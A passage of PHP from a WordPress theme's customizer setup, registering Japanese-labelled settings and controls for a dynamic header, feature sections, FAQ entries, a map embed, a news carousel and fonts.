'title' => '2.ダイナミックヘッダー(1-1で選択した場合のみ)の設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_dyheader_text', array( 'default' => "Let's enjoy self-expression!", 'type' => 'option', )); $wp_customize->add_control('site_dyheader_text', array( 'label' => '2-1.ヘッダー部分のテキスト', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_text_size', array( 'default' => 200, 'type' => 'option', )); $wp_customize->add_control('site_dyheader_text_size', array( 'label' => '2-2.ヘッダー部分のテキストサイズ', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-2" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_text_color', array( 'default' => '#333333', 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_dyheader_text_color', array( 'label' => '2-3.ヘッダー部分のテキスト色', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-3" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_dyheader', ))); $wp_customize->add_setting('site_dyheader_text_animation', array( 'default' => 'value0', 'type' => 'option', )); $wp_customize->add_control('site_dyheader_text_animation', array( 'label' => '2-4.テキストへ適用するアニメーション', 'description' => '現在4種類から選択できます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-4" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value0' => 'アニメーションなし', 'value1' => 'フェードイン(下から上)', 'value2' => 'ラインが走る', 'value3' => 'ズーム', 'value4' => 'フラッシュ', ), 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_button', array( 'default' => '', 'type' => 'option', )); $wp_customize->add_control('site_dyheader_button', array( 'label' => '2-5.ヘッダー部分のボタン', 'description' => 'ヘッダー部分に適用されるCTA的に使用可能なボタンです(空白の場合ボタンは表示されません)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-5" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_button_link', array( 'default' => '#', 'type' => 'option', )); $wp_customize->add_control('site_dyheader_button_link', array( 'label' => '2-6.ボタンのリンク先URL', 'description' => 'リンク先のURLを入力してください。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-6" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_dyheader', 'type' => 'text', )); $wp_customize->add_setting('site_dyheader_button2', array( 'default' => '', 'type' => 'option', )); $wp_customize->add_control('site_dyheader_button2', array( 'label' => '2-7.ヘッダー部分のボタン2', 'description' => 'もう一つボタンが必要な場合はこちらから。(空白の場合ボタンは表示されません。)', 'type' => 'text', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_button2_link', array( 'default' => '#', 'type' => 'option', )); $wp_customize->add_control('site_dyheader_button2_link', array( 'label' => '2-8.ボタンのリンク先URL', 'description' => '', 'type' => 'text', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_img', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_dyheader_img', array( 'label' => '2-9.ヘッダー部分の画像(文字の隣)', 'description' => 'ヘッダー部分のテキストの隣に画像を挿入します。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-9" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_dyheader', ))); $wp_customize->add_setting('site_dyheader_img_width', array( 'default' => 100, 'type' => 'option', )); $wp_customize->add_control('site_dyheader_img_width', array( 'label' => '2-10.ヘッダー部分の画像のサイズ', 'description' => 'ヘッダー部分の画像のサイズの調整ができます(デフォルト:100,最大:100)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-10" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_img_position', array( 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_dyheader_img_position', array( 'label' => '2-11.ヘッダー部分の画像を左側へ移動', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-11" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_bkimg', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_dyheader_bkimg', array( 'label' => '2-12.ヘッダー部分の画像(背景)', 'description' => 'ヘッダー部分の背景に画像を挿入します。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-12" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_dyheader', ))); $wp_customize->add_setting('site_dyheader_bkimg_filter', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_dyheader_bkimg_filter', array( 'label' => '2-13.ヘッダー部分の背景画像フィルター', 'description' => 'ヘッダーの背景画像にフィルターをかけることができます。文字が見づらい背景画像を使用する場合に有効です。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-13" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'select', 'choices' => array( 'value1' => 'フィルターなし', 'value2' => 'うっすら暗く', 'value3' => 'うっすら明るく', 'value4' => 'ドット', 'value5' => '斜線', 'value6' => '罫線', 'value7' => 'ボカシ', ), 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_bkcolor', array( 'default' => '#f1f2f3', 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_dyheader_bkcolor', array( 'label' => '2-14.ヘッダー部分の背景色', 'description' => 'ヘッダー部分の背景の色を設定します(画像がある場合は画像が優先されます)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-14" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_dyheader', ))); $wp_customize->add_setting('site_dyheader_width', array( 'default' => 1200, 'type' => 'option', )); $wp_customize->add_control('site_dyheader_width', array( 'label' => '2-15.ヘッダー部分の最大横幅', 'description' => 'ヘッダー部分の最大横幅を設定できます。1-2で設定した数値と同じものがオススメです(デフォルト:1200,最大3000)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-15" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_height', array( 'default' => 50, 'type' => 'option', )); $wp_customize->add_control('site_dyheader_height', array( 'label' => '2-16.ヘッダー部分の高さ', 'description' => 'ヘッダー部分の高さを調整できます(デフォルト:50,最大:100)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-16" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_margin-top', array( 'default' => 0, 'type' => 'option', )); $wp_customize->add_control('site_dyheader_margin-top', array( 'label' => '2-17.ヘッダー部分の上部の余白', 'description' => 'ヘッダー部分の上部に余白を設け、調整できます(デフォルト:0,推奨:0または20)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-17" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_padding', array( 'default' => 20, 'type' => 'option', )); $wp_customize->add_control('site_dyheader_padding', array( 'label' => '2-18.ヘッダー部分の下部の余白', 'description' => 'ヘッダー部分の下部に余白を設け、調整できます(デフォルト:20)。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-18" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'number', 'section' => 'site_dyheader', )); $wp_customize->add_setting('site_dyheader_notTop', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_dyheader_notTop', array( 'label' => '2-19.トップ(ホーム)画面以外でも表示', 'description' => '通常はトップページのみで表示するようになっているダイナミックヘッダーを記事ページやカテゴリページでも表示するようにします。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m2-19" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_dyheader', )); $wp_customize->add_section('site_feature', array( 'priority' => 3, 'title' => '3.フューチャー部分(1-1で選択した場合のみ)の設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_feature_section_animation', array( 'default' => 'value9', 'type' => 'option', )); $wp_customize->add_control('site_feature_section_animation', array( 'label' => '3-1.セクション1にアニメーションを使用', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value0' => 'アニメーションなし', 'value1' => '少し下からフェードイン', 'value2' => '大きくしたからフェードイン', 'value3' => '少し上からフェードダウン', 'value4' => '大きく上からフェードダウン', 'value5' => '少し左からフェードイン', 'value6' => '大きく左からフェードイン', 'value7' => '少し右からフェードイン', 'value8' => '大きく右からフェードイン', ), 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_ttl', array( 'type' => 'option' )); $wp_customize->add_control('site_feature_section_ttl', array( 'label' => '3-2.タイトル(セクション1)', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-2_3-3" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_description', array( 'type' => 'option' )); $wp_customize->add_control('site_feature_section_description', array( 'label' => '3-3.説明文(セクション1)', 'description' => 'HTMLを使用することも可能です。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-2_3-3" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'textarea', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_item1_icon', array( 'default' => '<i class="fas fa-shield-alt"></i>', 'type' => 'option', )); $wp_customize->add_control('site_feature_section_item1_icon', array( 'label' => '3-4.アイテム1のアイコン(セクション1)', 'description' => '<pre><code>&lt;i class=&quot;fas fa-mobile&quot;&gt;&lt;/i&gt;</code></pre>のようなコードを貼り付けてください。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-4" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_item1_icon_color', array( 'default' => '#1C6ECD', 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_feature_section_item1_icon_color', array( 'label' => '3-5.アイテム1のアイコン色(セクション1)', 'section' => 'site_feature', ))); $wp_customize->add_setting('site_feature_section_item1_ttl', array( 'default' => 'SAMPLE1', 'type' => 'option', )); $wp_customize->add_control('site_feature_section_item1_ttl', array( 'label' => '3-6.アイテム1のタイトル(セクション1)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_item1_description', array( 'default' => 'SAMPLE1の説明文です。', 'type' => 'option', )); $wp_customize->add_control('site_feature_section_item1_description', array( 'label' => '3-7.アイテム1の説明文(セクション1)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_item2_icon', array( 'default' => '<i class="fas fa-heartbeat"></i>', 'type' => 'option', )); $wp_customize->add_control('site_feature_section_item2_icon', array( 'label' => '3-8.アイテム2のアイコン(セクション1)', 'description' => '<pre><code>&lt;i class=&quot;fas fa-mobile&quot;&gt;&lt;/i&gt;</code></pre>のようなコードを貼り付けてください。', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_item2_icon_color', array( 'default' => '#E64A64', 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_feature_section_item2_icon_color', array( 'label' => '3-9.アイテム2のアイコン色(セクション1)', 'section' => 'site_feature', ))); $wp_customize->add_setting('site_feature_section_item2_ttl', array( 'default' => 'SAMPLE2', 'type' => 'option', )); $wp_customize->add_control('site_feature_section_item2_ttl', array( 'label' => '3-10.アイテム2のタイトル(セクション1)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_item2_description', array( 'default' => 'SAMPLE2の説明文です。', 'type' => 'option', )); $wp_customize->add_control('site_feature_section_item2_description', array( 'label' => '3-11.アイテム2の説明文(セクション1)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_item3_icon', array( 'type' => 'option', 'default' => '<i class="fas fa-coins"></i>' )); $wp_customize->add_control('site_feature_section_item3_icon', array( 'label' => '3-12.アイテム3のアイコン(セクション1)', 'description' => '<pre><code>&lt;i class=&quot;fas fa-mobile&quot;&gt;&lt;/i&gt;</code></pre>のようなコードを貼り付けてください。', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_item3_icon_color', array( 'default' => '#ffcc00', 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_feature_section_item3_icon_color', array( 'label' => '3-13.アイテム3のアイコン色(セクション1)', 'section' => 'site_feature', ))); $wp_customize->add_setting('site_feature_section_item3_ttl', array( 'default' => 'SAMPLE3', 'type' => 'option', )); $wp_customize->add_control('site_feature_section_item3_ttl', array( 'label' => '3-14.アイテム3のタイトル(セクション1)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section_item3_description', array( 'default' => 'SAMPLE3の説明文です。', 'type' => 'option', )); $wp_customize->add_control('site_feature_section_item3_description', array( 'label' => '3-15.アイテム3の説明文(セクション1)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section2_animation', array( 'default' => 'value9', 'type' => 'option', )); $wp_customize->add_control('site_feature_section2_animation', array( 'label' => '3-16.セクション2にアニメーションを使用', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value0' => 'アニメーションなし', 'value1' => '少し下からフェードイン', 'value2' => '大きくしたからフェードイン', 'value3' => '少し上からフェードダウン', 'value4' => '大きく上からフェードダウン', 'value5' => '少し左からフェードイン', 'value6' => '大きく左からフェードイン', 'value7' => '少し右からフェードイン', 'value8' => '大きく右からフェードイン', ), 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section2_ttl', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_section2_ttl', array( 'label' => '3-17.タイトル(セクション2)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section2_description', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_section2_description', array( 'label' => '3-18.本文(セクション2)', 'description' => 'HTMLを使用することもできます。', 'type' => 'textarea', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section2_bk_img', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_feature_section2_bk_img', array( 'label' => '3-19.背景画像(セクション2)', 'section' => 'site_feature', ))); $wp_customize->add_setting('site_feature_section2_color', array( 'default' => '#f9f9f9', 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_feature_section2_color', array( 'label' => '3-20.文字色(セクション2)', 'section' => 'site_feature', ))); $wp_customize->add_setting('site_feature_section2_bk_color', array( 'default' => '#212121', 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_feature_section2_bk_color', array( 'label' => '3-21.背景色(セクション2)', 'description' => '画像がある場合は画像が優先されます。透過している画像を使用した場合は色も適用されます。', 'section' => 'site_feature', ))); $wp_customize->add_setting('site_feature_section3_animation', array( 'default' => 'value9', 'type' => 'option', )); $wp_customize->add_control('site_feature_section3_animation', array( 'label' => '3-22.セクション3にアニメーションを使用', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value0' => 'アニメーションなし', 'value1' => '少し下からフェードイン', 'value2' => '大きくしたからフェードイン', 'value3' => '少し上からフェードダウン', 'value4' => '大きく上からフェードダウン', 'value5' => '少し左からフェードイン', 'value6' => '大きく左からフェードイン', 'value7' => '少し右からフェードイン', 'value8' => '大きく右からフェードイン', ), 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section3_ttl', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_section3_ttl', array( 'label' => '3-23.タイトル(セクション3)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section3_description', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_section3_description', array( 'label' => '3-24.本文(セクション3)', 'type' => 'textarea', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section3_bk_img', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_feature_section3_bk_img', array( 'label' => '3-25.背景画像(セクション3)', 'section' => 'site_feature', ))); $wp_customize->add_setting('site_feature_section3_color', array( 'default' => '#f9f9f9', 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_feature_section3_color', array( 'label' => '3-26.文字色(セクション3)', 'section' => 'site_feature', ))); $wp_customize->add_setting('site_feature_section3_bk_color', array( 'default' => '#212121', 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_feature_section3_bk_color', array( 'label' => '3-27.背景色(セクション3)', 'section' => 'site_feature', ))); $wp_customize->add_setting('site_feature_section4_animation', array( 'default' => 'value9', 'type' => 'option', )); $wp_customize->add_control('site_feature_section4_animation', array( 'label' => '3-28.セクション4にアニメーションを使用', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value0' => 'アニメーションなし', 'value1' => '少し下からフェードイン', 'value2' => '大きくしたからフェードイン', 'value3' => '少し上からフェードダウン', 'value4' => '大きく上からフェードダウン', 'value5' => '少し左からフェードイン', 'value6' => '大きく左からフェードイン', 'value7' => '少し右からフェードイン', 'value8' => '大きく右からフェードイン', ), 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_q1', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_q1', array( 'label' => '3-29.質問1(セクション4)', 'description' => '空白にした場合、セクション4は表示されません。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-29" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_a1', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_a1', array( 'label' => '3-30.答え1(セクション4)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_q2', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_q2', array( 'label' => '3-31.質問2(セクション4)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_a2', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_a2', array( 'label' => '3-32.答え2(セクション4)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_q3', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_q3', array( 'label' => '3-33.質問3(セクション4)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_a3', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_a3', array( 'label' => '3-34.答え3(セクション4)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_q4', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_q4', array( 'label' => '3-35.質問4(セクション4)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_a4', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_a4', array( 'label' => '3-36.答え4(セクション4)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_q5', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_q5', array( 'label' => '3-37.質問5(セクション4)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_a5', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_a5', array( 'label' => '3-38.答え5(セクション4)', 'type' => 'text', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section5_animation', array( 'default' => 'value9', 'type' => 'option', )); $wp_customize->add_control('site_feature_section5_animation', array( 'label' => '3-39.セクション5にアニメーションを使用', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value0' => 'アニメーションなし', 'value1' => '少し下からフェードイン', 'value2' => '大きくしたからフェードイン', 'value3' => '少し上からフェードダウン', 'value4' => '大きく上からフェードダウン', 'value5' => '少し左からフェードイン', 'value6' => '大きく左からフェードイン', 'value7' => '少し右からフェードイン', 'value8' => '大きく右からフェードイン', ), 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section5_info', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_section5_info', array( 'label' => '3-40.フリースペース(セクション5)', 'description' => '会社情報や商品情報など。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-40" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'textarea', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section5_map', array( 'default' => '<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3239.2823422657766!2d139.77007871513112!3d35.71927413549223!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x60188e827551ab83%3A0x59f3effef9b46130!2z5p2x5Lqs6Jed6KGT5aSn5a2m!5e0!3m2!1sja!2sjp!4v1574213861441!5m2!1sja!2sjp" width="600" height="450" frameborder="0" style="border:0;" allowfullscreen=""></iframe>', 'type' => 'option', )); $wp_customize->add_control('site_feature_section5_map', array( 'label' => '3-41.地図スペース(セクション5)', 'description' => 'GoogleMapの埋め込み機能など利用できます。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-41" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'textarea', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section6_animation', array( 'default' => 'value9', 'type' => 'option', )); $wp_customize->add_control('site_feature_section6_animation', array( 'label' => '3-42.セクション6にアニメーションを使用', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m3-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value0' => 'アニメーションなし', 'value1' => '少し下からフェードイン', 'value2' => '大きくしたからフェードイン', 'value3' => '少し上からフェードダウン', 'value4' => '大きく上からフェードダウン', 'value5' => '少し左からフェードイン', 'value6' => '大きく左からフェードイン', 'value7' => '少し右からフェードイン', 'value8' => '大きく右からフェードイン', ), 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section6_description', array( 'type' => 'option', )); $wp_customize->add_control('site_feature_section6_description', array( 'label' => '3-44.本文(セクション6)', 'type' => 'textarea', 'section' => 'site_feature', )); $wp_customize->add_setting('site_feature_section6_bk_color', array( 'type' => 'option', 'default' => '#1fb2aa', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_feature_section6_bk_color', array( 'label' => '3-45.背景色(セクション6)', ))); $wp_customize->add_setting('site_feature_section6_color', array( 'type' => 'option', 'default' => '#ffffff', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_feature_section6_color', array( 'label' => '3-46文字色(セクション6)', ))); $wp_customize->add_section('site_carousel', array( 'priority' => 4, 'title' => '4.ピックアップ部分', 'description' => 'ニュースや最新情報、ピックアップして掲載したい情報などは本項目をご利用ください。', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_carousel_news_on', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_carousel_news_on', array( 'label' => '4-1.ニュース欄を表示する', 'description' => 'ナビバーの下に表示されるニュース欄です。最新情報や目立たせたい情報などを掲載しましょう。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m4-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'checkbox', 'section' => 'site_carousel', )); $wp_customize->add_setting('site_carousel_news', array( 'default' => 'こんな感じで表示されます', 'type' => 'option', )); $wp_customize->add_control('site_carousel_news', array( 'label' => '4-2.ニュース欄の文章', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m4-2" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_carousel', )); $wp_customize->add_setting('site_carousel_news_link', array( 'default' => '#', 'type' => 'option', )); $wp_customize->add_control('site_carousel_news_link', array( 'label' => '4-3.ニュース欄のリンク先', 'description' => 'ニュース欄をクリックしたリンク先ページのURL。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m4-3" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'text', 'section' => 'site_carousel', )); $wp_customize->add_setting('site_carousel_news_bk', array( 'type' => 'option', 'default' => '#3bb3fa', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_carousel_news_bk', array( 'label' => '4-4.ニュース欄の背景色(1色目)', 'description' => '詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m4-4_4-5" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_carousel', ))); $wp_customize->add_setting('site_carousel_news_bk2', array( 'type' => 'option', 'default' => '#ff5757', )); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'site_carousel_news_bk2', array( 'label' => '4-5.ニュース欄の背景色(2色目)', 'description' => '1色目と異なる色を選択するとグラデーションになります。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m4-4_4-5" rel="noreferrer noopener" target="_blank">こちら</a>', 'section' => 'site_carousel', ))); $wp_customize->add_setting('site_carousel_on', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_carousel_on', array( 'label' => '4-6.ピックアップ部分', 'description' => 'ピックアップ欄を表示します。目立たせたい記事や画像などを掲載しましょう。1-1でデザイン4を選択していると表示されません。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m4-6" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => '表示しない', 'value2' => 'デザイン1', 'value3' => 'デザイン2', ), 'section' => 'site_carousel', )); $wp_customize->add_setting('site_carousel_item1_img', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_carousel_item1_img', array( 'label' => '4-7.ピックアップ1枚目の画像', 'section' => 'site_carousel', ))); $wp_customize->add_setting('site_carousel_item1_link', array( 'type' => 'option', )); $wp_customize->add_control('site_carousel_item1_link', array( 'label' => '4-8.ピックアップ1枚目のリンクです', 'type' => 'text', 'section' => 'site_carousel', )); $wp_customize->add_setting('site_carousel_item2_img', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_carousel_item2_img', array( 'label' => '4-9.ピックアップ2枚目の画像', 'section' => 'site_carousel', ))); $wp_customize->add_setting('site_carousel_item2_link', array( 'type' => 'option', )); $wp_customize->add_control('site_carousel_item2_link', array( 'label' => '4-10.ピックアップ2枚目のリンクです', 'type' => 'text', 'section' => 'site_carousel', )); $wp_customize->add_setting('site_carousel_item3_img', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_carousel_item3_img', array( 'label' => '4-11.ピックアップ3枚目の画像', 'section' => 'site_carousel', ))); $wp_customize->add_setting('site_carousel_item3_link', array( 'type' => 'option', )); $wp_customize->add_control('site_carousel_item3_link', array( 'label' => '4-12.ピックアップ3枚目のリンクです', 'type' => 'text', 'section' => 'site_carousel', )); $wp_customize->add_setting('site_carousel_item4_img', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_carousel_item4_img', array( 'label' => '4-13.ピックアップ4枚目の画像', 'section' => 'site_carousel', ))); $wp_customize->add_setting('site_carousel_item4_link', array( 'type' => 'option', )); $wp_customize->add_control('site_carousel_item4_link', array( 'label' => '4-14.ピックアップ4枚目のリンクです', 'type' => 'text', 'section' => 'site_carousel', )); $wp_customize->add_setting('site_carousel_item5_img', array( 'type' => 'option', )); $wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'site_carousel_item5_img', array( 'label' => '4-15.ピックアップ5枚目の画像', 'section' => 'site_carousel', ))); $wp_customize->add_setting('site_carousel_item5_link', array( 'type' => 'option', )); $wp_customize->add_control('site_carousel_item5_link', array( 'label' => '4-16.ピックアップ5枚目のリンクです', 'type' => 'text', 'section' => 'site_carousel', )); $wp_customize->add_section('site_font',array( 'priority' => 5, 'title' => '5.フォントの設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_font_title', array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_font_title', array( 'label' => '5-1.サイトタイトルのフォント', 'description' => '現在10種類からお選びいただけます。[注意:()内の言語にしか適用されません]。詳しくは<a href="https://withdiv.com/12hitoe/12hitoe-customize/#m5-1" rel="noreferrer noopener" target="_blank">こちら</a>', 'type' => 'radio', 'choices' => array( 'value1' => 'デフォルト', 'value2' => 'ポップ(英)', 'value3' => '個性的(英)', 'value4' => 